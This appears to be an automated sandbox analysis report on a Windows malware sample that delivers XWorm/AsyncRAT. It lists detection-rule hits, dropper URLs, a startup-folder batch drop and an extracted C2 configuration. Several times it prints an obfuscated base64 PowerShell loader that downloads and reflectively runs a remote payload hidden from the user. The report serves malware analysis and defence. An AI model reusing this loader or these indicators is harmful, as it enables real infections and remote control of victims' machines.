Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codig

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\Desktop\TM3utH2CsU.exe, ProcessId: 7740, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start_sys.bat

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000071.00000002.2463346324.00000237B3BB2000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Xworm {"C2 url": ["135.224.23.113"], "Port": "5555", "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.2% probability

Sample uses string decryption to hide its real strings

Source: 113.2.powershell.exe.237b3bb2660.0.raw.unpack	String decryptor: 135.224.23.113
Source: 113.2.powershell.exe.237b3bb2660.0.raw.unpack	String decryptor: 5555
Source: 113.2.powershell.exe.237b3bb2660.0.raw.unpack	String decryptor: <123456789>
Source: 113.2.powershell.exe.237b3bb2660.0.raw.unpack	String decryptor: <Xwormmm>
Source: 113.2.powershell.exe.237b3bb2660.0.raw.unpack	String decryptor: XWorm V5.6
Source: 113.2.powershell.exe.237b3bb2660.0.raw.unpack	String decryptor: USB.exe

Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681A60F30 DecryptMessage,DecryptMessage,ApplyControlToken,	0_2_00007FF681A60F30
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681A5E090 EncryptMessage,	0_2_00007FF681A5E090
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681A5DDD0 EncryptMessage,	0_2_00007FF681A5DDD0

Source: TM3utH2CsU.exe

Static PE information: certificate valid

Source: TM3utH2CsU.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: e.pdb source: powershell.exe, 00000012.00000002.2455008482.000001AF31187000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000012.00000002.1650115871.000001AF16FEA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1704147920.000001EC82CEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdbh{o source: powershell.exe, 00000012.00000002.2455008482.000001AF31187000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 00000012.00000002.2410995855.000001AF310FE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ll\System.Core.pdbDc source: powershell.exe, 00000012.00000002.2455008482.000001AF31187000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dbpdbtem.pdbEX source: powershell.exe, 00000012.00000002.2455008482.000001AF31187000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000012.00000002.2455008482.000001AF31187000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2327989343.000001AF30E70000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000012.00000002.2455008482.000001AF31187000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdb source: powershell.exe, 00000012.00000002.2455008482.000001AF31187000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbs\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Servererver32 source: powershell.exe, 0000001E.00000002.1704147920.000001EC82C8A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: combine.pdb source: TM3utH2CsU.exe, 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmp, TM3utH2CsU.exe, 00000000.00000000.1351636173.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: System.Data.Linq.pdb source: powershell.exe, 00000012.00000002.1728472486.000001AF29D0E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2481504661.000001AF314E0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 00000012.00000002.2327989343.000001AF30E70000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ows\dll\System.Core.pdb source: powershell.exe, 00000012.00000002.2455008482.000001AF31187000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 00000012.00000002.2455008482.000001AF31187000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdbdll source: powershell.exe, 00000012.00000002.2327989343.000001AF30EBF000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\TM3utH2CsU.exe

Code function: 0_2_00007FF681B09F70 CloseHandle,FindFirstFileW,FindClose,

0_2_00007FF681B09F70

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 135.224.23.113

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10

Source: Joe Sandbox View	IP Address: 23.47.168.24 23.47.168.24
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: powershell.exe, 00000012.00000002.1650971505.000001AF1A398000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.00000217016A3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1718239578.000001EC8612E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ia600100.us.archive.org
Source: powershell.exe, 00000012.00000002.1650971505.000001AF1A656000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1728472486.000001AF28D65000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.0000021701963000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2167378345.0000021710077000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000012.00000002.1650971505.000001AF1912A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1650971505.000001AF192E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.00000217004CC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1718239578.000001EC85071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://paste.ee
Source: powershell.exe, 0000001E.00000002.1718239578.000001EC8638E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000010.00000002.3144999713.000001C515986000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1650971505.000001AF18CF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.0000021700001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1718239578.000001EC84A94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000012.00000002.1650971505.000001AF1A3E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.00000217016EB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1718239578.000001EC86176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 0000001E.00000002.1718239578.000001EC8638E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000001E.00000002.1704147920.000001EC82C09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: powershell.exe, 00000010.00000002.3144999713.000001C51593D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000010.00000002.3144999713.000001C515959000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1650971505.000001AF18CF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.0000021700001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1718239578.000001EC84A94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000012.00000002.1650971505.000001AF192E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.00000217004CC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1718239578.000001EC85071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee
Source: powershell.exe, 00000012.00000002.1650971505.000001AF192E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.00000217004CC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1718239578.000001EC85071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee;
Source: powershell.exe, 00000012.00000002.1650971505.000001AF192E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.00000217004CC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1718239578.000001EC85071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com
Source: powershell.exe, 00000012.00000002.1650971505.000001AF192E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.00000217004CC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1718239578.000001EC85071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com;
Source: powershell.exe, 00000018.00000002.2167378345.0000021710077000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000018.00000002.2167378345.0000021710077000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000018.00000002.2167378345.0000021710077000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000012.00000002.1650971505.000001AF192E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.00000217004CC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1718239578.000001EC85071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com
Source: powershell.exe, 00000012.00000002.1650971505.000001AF192E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.00000217004CC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1718239578.000001EC85071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com;
Source: powershell.exe, 0000001E.00000002.1718239578.000001EC8638E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000012.00000002.1650971505.000001AF19678000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.000002170118C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1718239578.000001EC8540B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000012.00000002.1650971505.000001AF1A393000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.arX
Source: powershell.exe, 00000018.00000002.1667045038.000002170169D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.arXj
Source: powershell.exe, 00000012.00000002.1650971505.000001AF1A078000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1650971505.000001AF18F19000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.0000021700229000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.000002170169D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1718239578.000001EC860A5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1718239578.000001EC84CA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.archive.org
Source: powershell.exe, 0000001E.00000002.1718239578.000001EC84CA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt
Source: powershell.exe, 00000012.00000002.1650971505.000001AF18F19000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.0000021700229000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1718239578.000001EC84CA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txtZHo;NrXbase64Content
Source: powershell.exe, 00000012.00000002.1650971505.000001AF1A656000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1728472486.000001AF28D65000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.0000021701963000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2167378345.0000021710077000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000012.00000002.1650971505.000001AF1A3E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.00000217016EB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1718239578.000001EC86176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000012.00000002.1650971505.000001AF1A3E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.00000217016EB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1718239578.000001EC86176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: powershell.exe, 00000012.00000002.1650971505.000001AF1912A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.00000217004CC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1718239578.000001EC85071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee
Source: powershell.exe, 00000012.00000002.1650971505.000001AF1912A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.00000217004CC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1718239578.000001EC84E93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/82O7E/0
Source: TM3utH2CsU.exe, 00000000.00000003.1379876457.000002069462F000.00000004.00000020.00020000.00000000.sdmp, TM3utH2CsU.exe, 00000000.00000002.1730832059.00000206945BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rdoge.pro/nd/eneba_com_privacy_policy.pdf
Source: TM3utH2CsU.exe, 00000000.00000000.1351636173.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://rdoge.pro/nd/eneba_com_privacy_policy.pdfFailed
Source: TM3utH2CsU.exe, 00000000.00000002.1730832059.00000206945BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rdoge.pro/nd/eneba_com_privacy_policy.pdfO
Source: TM3utH2CsU.exe, 00000000.00000003.1407187350.000002069462F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rdoge.pro/stc/pure_hnvc1.zip
Source: TM3utH2CsU.exe, 00000000.00000003.1407187350.000002069462F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rdoge.pro/stc/pure_hnvc1.zipf4
Source: TM3utH2CsU.exe, 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmp, TM3utH2CsU.exe, 00000000.00000000.1351636173.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://rdoge.pro/stc/pure_hnvc1.ziphttps://rdoge.pro/stc/wm_startup.ziphttps://rdoge.pro/stc/pure_h
Source: TM3utH2CsU.exe, 00000000.00000003.1407187350.000002069462F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rdoge.pro/stc/pure_hnvc1.zipo4
Source: TM3utH2CsU.exe, 00000000.00000003.1466683610.000002069462F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rdoge.pro/stc/pure_hnvc2.zip
Source: TM3utH2CsU.exe, 00000000.00000003.1466683610.000002069462F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rdoge.pro/stc/pure_hnvc2.zip049p
Source: TM3utH2CsU.exe, 00000000.00000003.1436659897.000002069462F000.00000004.00000020.00020000.00000000.sdmp, TM3utH2CsU.exe, 00000000.00000003.1466683610.000002069462F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rdoge.pro/stc/wm_startup.zip
Source: TM3utH2CsU.exe, 00000000.00000003.1436659897.000002069462F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rdoge.pro/stc/wm_startup.zipf4
Source: powershell.exe, 00000012.00000002.1650971505.000001AF192E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.00000217004CC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1718239578.000001EC85071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.gravatar.com
Source: powershell.exe, 00000012.00000002.1650971505.000001AF192E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.00000217004CC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1718239578.000001EC85071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://themes.googleusercontent.com
Source: powershell.exe, 00000012.00000002.1650971505.000001AF192E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.00000217004CC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1718239578.000001EC85071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: powershell.exe, 00000012.00000002.1650971505.000001AF192E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.00000217004CC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1718239578.000001EC85071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com;
Source: powershell.exe, 00000012.00000002.1650971505.000001AF192E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.00000217004CC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1718239578.000001EC85071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: powershell.exe

Process created: 70

System Summary

Malicious sample detected (through community Yara rule)

Source: 125.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 113.2.powershell.exe.237b3bb2660.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 113.2.powershell.exe.237b3bb2660.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000007D.00000002.2600075638.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000071.00000002.2463346324.00000237B3BB2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3768, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6320, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 8200, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

.NET source code contains very large array initializations

Source: 18.2.powershell.exe.1af2a0cd0e8.1.raw.unpack, State.cs

Large array initialization: SearchFactory: array initializer size 294288

Found suspicious ZIP file

Source: sys.zip.0.dr	Zip Entry: hnvc.vbs
Source: sys.zip.0.dr	Zip Entry: pure_hnvc.bat
Source: pow.zip.0.dr	Zip Entry: wm.vbs
Source: pow.zip.0.dr	Zip Entry: wm_startup.bat
Source: 32.zip.0.dr	Zip Entry: hnvc.vbs
Source: 32.zip.0.dr	Zip Entry: pure_hnvc.bat

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWk